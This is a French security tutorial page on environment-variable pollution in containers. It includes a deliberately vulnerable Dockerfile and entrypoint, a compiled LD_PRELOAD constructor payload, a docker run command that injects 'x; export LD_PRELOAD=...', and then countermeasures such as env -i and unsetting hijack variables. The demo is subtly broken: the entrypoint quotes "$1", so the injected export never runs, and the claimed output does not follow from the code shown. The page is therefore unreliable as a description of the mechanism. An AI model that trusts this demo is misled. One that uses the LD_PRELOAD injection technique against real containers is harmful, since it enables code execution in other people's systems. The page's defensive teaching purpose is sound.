Pollution de variable d’environnement héritée dans un conteneur
Section intitulée « Pollution de variable d’environnement héritée dans un conteneur »Une variable d’environnement injectée à un point d’entrée, héritée sans filtre par tout ce que le processus lance ensuite, et un enfant qui change de comportement en fonction d’une variable qu’un attaquant contrôle : c’est le schéma de la pollution d’environnement. Cette page monte un conteneur vulnérable, détourne un processus enfant sans toucher à son code, puis assainit l’héritage.
Une consigne griffonnée sur un papier posé à l’entrée d’un atelier, que chaque nouvel employé recopie machinalement en arrivant, sans se demander qui l’a écrite. Il suffit qu’un intrus modifie le papier pour que tout l’atelier se mette à travailler de travers. Voir comment une simple note peut détourner un processus entier vaut le coup d’œil.
→ Lire l’explication complète de la marmotte
L’héritage des variables d’environnement entre processus
Section intitulée « L’héritage des variables d’environnement entre processus »Sous Linux, quand un processus en lance un autre (via fork puis exec), l’enfant reçoit par défaut une copie complète de l’environnement du parent : la liste des variables et de leurs valeurs. C’est le mécanisme d’héritage, et il est silencieux : aucune déclaration, aucun contrat, l’enfant hérite de tout ce que le parent portait, y compris ce que le parent n’a jamais voulu lui transmettre.
Or de nombreux programmes lisent des variables d’environnement pour ajuster leur comportement, sans que l’appelant le sache toujours. LD_PRELOAD force le chargeur dynamique à charger une bibliothèque avant toutes les autres. PATH décide où chercher les exécutables appelés sans chemin absolu. IFS (Internal Field Separator) change la façon dont un shell découpe les commandes. PYTHONPATH, NODE_OPTIONS, GIT_SSH, PERL5LIB : chaque écosystème apporte ses variables de détournement. Un processus enfant qui consulte l’une d’elles agit selon une valeur que le parent lui a transmise, valeur qui peut venir de bien plus loin.
La règle générale : dans une chaîne de processus, une variable d’environnement circule du premier maillon jusqu’au dernier tant que personne ne la coupe. Si le premier maillon accepte une valeur venue de l’extérieur (un en-tête HTTP, un paramètre de requête, un champ de formulaire) et la place dans son environnement, cette valeur atteint tous les processus enfants, y compris ceux qui n’auraient jamais dû la voir.
Ce qui rend une variable d’environnement injectable dans un conteneur
Section intitulée « Ce qui rend une variable d’environnement injectable dans un conteneur »Le conteneur ne crée pas la faille, il en aggrave la portée, et pour une raison précise.
Un conteneur démarre un processus initial (le point d’entrée) qui devient le PID 1 (Process IDentifier n° 1) et le parent de tout ce qui tourne à l’intérieur. Cet environnement initial est fixé au lancement par les directives ENV de l’image, les variables passées au démarrage, et ce que le point d’entrée y ajoute lui-même. Tout enfant en hérite. Si le point d’entrée est un script shell qui reçoit une entrée extérieure et l’exporte, la variable polluée se propage à toute la vie du conteneur.
Le point d’entrée-script est le premier vecteur : un script d’amorçage qui fait export CONFIG="$1" avec une valeur issue d’une requête, ou qui interpole une variable non contrôlée dans une commande, ouvre l’injection. Le second vecteur est la variable de plateforme héritée : certaines chaînes d’invocation (serveur d’application qui lance des workers, cron dans le conteneur, hook de démarrage) recopient l’environnement du parent sans le nettoyer, si bien qu’une variable posée pour un usage précis se retrouve lue par un composant qui l’interprète autrement. La CGI (Common Gateway Interface) reste l’exemple d’école : elle transforme les en-têtes HTTP en variables d’environnement, ce qui a donné la faille Shellshock en 2014, où un en-tête forgé plaçait une définition de fonction dans l’environnement d’un shell qui l’exécutait au démarrage.
Le compromis central : les variables d’environnement offrent une configuration sans fichier, pratique en conteneur où l’immutabilité de l’image est recherchée, mais elles constituent un canal implicite et global. On gagne une configuration légère, on paie un espace partagé, hérité par défaut, où une valeur mal placée agit à distance sur des processus qui ne l’attendaient pas.
Démonstration reproductible en laboratoire
Section intitulée « Démonstration reproductible en laboratoire »Le décor est un conteneur jetable dont le point d’entrée reçoit une valeur de configuration extérieure, l’exporte dans l’environnement, puis lance un outil enfant qui, lui, consulte LD_PRELOAD.
# Dockerfile : conteneur de LABORATOIRE deliberement vulnerable.FROM debian:stable-slimCOPY entrypoint.sh /entrypoint.shRUN chmod +x /entrypoint.shENTRYPOINT ["/entrypoint.sh"]#!/bin/sh# entrypoint.sh : point d'entree vulnerable.# Faille : une valeur exterieure est exportee TELLE QUELLE dans l'environnement,# puis heritee par le processus enfant sans aucun filtrage.export APP_CONFIG="$1" # $1 vient d'une source non fiableecho "Demarrage avec APP_CONFIG=$APP_CONFIG"exec /usr/bin/id # l'enfant herite de TOUT l'environnementOn forge une bibliothèque malveillante, on la fait passer par le canal de configuration en réutilisant le nom LD_PRELOAD, et on observe l’enfant (id) exécuter du code qui ne lui appartient pas.
# 1. Compiler une bibliotheque qui s'execute au chargement (constructeur).cat > payload.c <<'EOF'#include <stdlib.h>#include <stdio.h>__attribute__((constructor)) void injecte(void) { // Code execute AVANT le main de tout binaire qui charge cette lib. fprintf(stderr, "[!] Code attaquant execute dans le processus enfant\n"); system("touch /tmp/preuve_pollution"); // effet observable}EOFgcc -shared -fPIC -o /tmp/payload.so payload.c
# 2. Le point d'entree attend UNE valeur de config. On y glisse une# definition de variable qui sera exportee et heritee : LD_PRELOAD.# (Ici via une valeur qui reintroduit la variable dans l'environnement.)docker run --rm -v /tmp/payload.so:/tmp/payload.so \ labo/pollue "x; export LD_PRELOAD=/tmp/payload.so"
# 3. L'enfant /usr/bin/id charge d'abord /tmp/payload.so :# [!] Code attaquant execute dans le processus enfant# uid=0(root) ... (id s'execute quand meme, apres le payload)Le processus id n’a pas de faille. Il a simplement été lancé dans un environnement où LD_PRELOAD pointait vers du code attaquant, et le chargeur dynamique a fait son travail : charger la bibliothèque désignée avant le reste. La pollution s’est faite au maillon d’entrée, l’exécution au maillon final.
Contre-mesures : assainir l’environnement transmis
Section intitulée « Contre-mesures : assainir l’environnement transmis »La position à défendre : on ne filtre pas ce qui entre dans l’environnement, on contrôle ce qui en sort vers les enfants. Assainir à l’entrée est un jeu perdu (les noms de variables sensibles sont trop nombreux et dépendent de chaque outil) ; définir explicitement l’environnement de chaque enfant est tenable.
La première mesure est le passage à un environnement explicite au moment d’invoquer un enfant sensible. env -i vide l’environnement et ne laisse que ce qu’on rétablit à la main.
# Au lieu d'heriter de tout, on repart d'un environnement vide et minimal.exec env -i \ PATH=/usr/bin:/bin \ HOME=/nonexistent \ /usr/bin/id # id ne verra ni LD_PRELOAD ni PATH pollueLa deuxième mesure vise le point d’entrée : ne jamais exporter une valeur extérieure sans la traiter comme une donnée, jamais comme du code. On refuse l’interpolation d’une entrée non fiable dans une commande, et on passe les valeurs par des arguments positionnels ou des fichiers, pas par l’environnement partagé.
# Point d'entree assaini : la valeur exterieure reste une DONNEE,# elle n'est jamais reinjectee dans l'environnement ni interpretee.config_value="$1"printf '%s' "$config_value" > /run/app.conf # ecrite comme donneeunset LD_PRELOAD LD_LIBRARY_PATH IFS # variables de detournement coupeesexec /usr/bin/app --config /run/app.conf # config par fichier, pas par envLa troisième mesure relève du durcissement de l’image : un utilisateur non root (USER dans le Dockerfile), un système de fichiers en lecture seule (--read-only), et l’abandon des capabilities inutiles réduisent ce qu’un LD_PRELOAD réussi permet d’atteindre. La pollution reste possible, son rendement chute.
Ce que ces contre-mesures ne garantissent pas : elles coupent l’héritage vers les enfants qu’on maîtrise, pas les canaux qu’on ignore. Un runtime qui relit l’environnement à mi-course, un interpréteur intégré qui expose ses propres variables, une bibliothèque tierce qui consulte une variable non documentée : chaque dépendance ajoute des noms sensibles. L’inventaire des variables réellement lues par la chaîne de processus est la seule base fiable, et il se refait à chaque changement de dépendance. La même exigence de traiter les entrées comme des données, jamais comme du comportement, traverse les autres démonstrations de la rubrique failles et structure toute architecture cyber sérieuse.
🐝 Ce qui arrive si on s’en passe
Section intitulée « 🐝 Ce qui arrive si on s’en passe »Sans assainissement de l’environnement transmis aux processus enfants, un conteneur dont le point d’entrée touche à une entrée extérieure devient détournable sans faille dans le code applicatif : l’attaquant modifie le comportement de binaires légitimes (chargement d’une bibliothèque, résolution d’un exécutable, découpage d’une commande) en agissant sur des variables héritées. Ce qui se perd, c’est la garantie que le code qui s’exécute est bien celui de l’image : un processus sain charge et exécute du code injecté avant même son propre point d’entrée, ce qui vide de son sens le contrôle d’intégrité de l’image. La détection est difficile, l’exécution restant portée par des binaires du système, non par un fichier étranger ajouté. S’y ajoute la propagation : une variable polluée au PID 1 atteint toute la descendance du conteneur, y compris les tâches planifiées et les workers lancés bien plus tard.
🦫 Explication de la marmotte 🍫
Section intitulée « 🦫 Explication de la marmotte 🍫 »Un programme qui tourne garde à côté de lui une petite liste de réglages, sous forme de noms associés à des valeurs. Quand il en lance un autre, il lui donne une copie de toute sa liste, automatiquement, sans trier. Le programme lancé consulte parfois certains de ces réglages pour décider comment se comporter : l’un d’eux indique par exemple quel morceau de code charger en tout premier, avant son travail normal. Le danger vient de là. Si le premier programme de la chaîne accepte une valeur venue de l’extérieur, comme une information envoyée par un utilisateur sur Internet, et qu’il la range dans sa liste, cette valeur se transmet à tous les programmes suivants. Un attaquant en profite : il envoie une valeur qui remplit le réglage désignant le code à charger d’abord, et le fait pointer vers du code à lui. Dès lors, chaque programme lancé exécute d’abord le code de l’attaquant, puis fait son travail habituel comme si de rien n’était. Dans un conteneur, c’est pire, parce qu’un seul programme de départ est le parent de tout le reste : polluer sa liste au démarrage contamine tout ce qui s’exécutera ensuite. Pour s’en protéger, on repart d’une liste vide et minimale avant de lancer les programmes sensibles, on refuse d’y ranger une valeur venue de l’extérieur, et on supprime les réglages dangereux avant chaque lancement. Sans ce nettoyage, une simple valeur envoyée de loin suffit à faire exécuter du code étranger.
À lire aussi
- Élévation de privilège via un binaire SUID root mal configuréDémonstration en laboratoire de l'élévation de privilège locale par abus d'un exécutable SUID root trop permissif, avec le mécanisme du bit SUID et les contre-mesures d'audit et de capabilities.
- Démonstration de pollution de prototype JavaScriptConstruire, exploiter et corriger une pollution de prototype dans une application Node.js vulnérable.
- Écrire des scripts Bash système fiables et sûrs en productionBash et scripting système, ou comment écrire des scripts d'administration qui tiennent en production sans devenir une faille (mode strict, guillemets, injection, secrets, verrous, environnement d'exécution).
- Linux shell, permissions et processus, le modèle de contrôle d'accèsComment un système Linux décide qui a le droit de faire quoi, du shell qui lance les processus aux identités, permissions et capabilities que ces processus portent.
Pages voisines
La citent
- Élévation de privilège via un binaire SUID root mal configuré
- DLL hijacking Windows et ordre de recherche des bibliothèques
- Linux shell, permissions et processus, le modèle de contrôle d'accès
Pollution de variable d'environnement héritée dans un conteneur
Elle cite
: les deux pages se citent l’une l’autre.
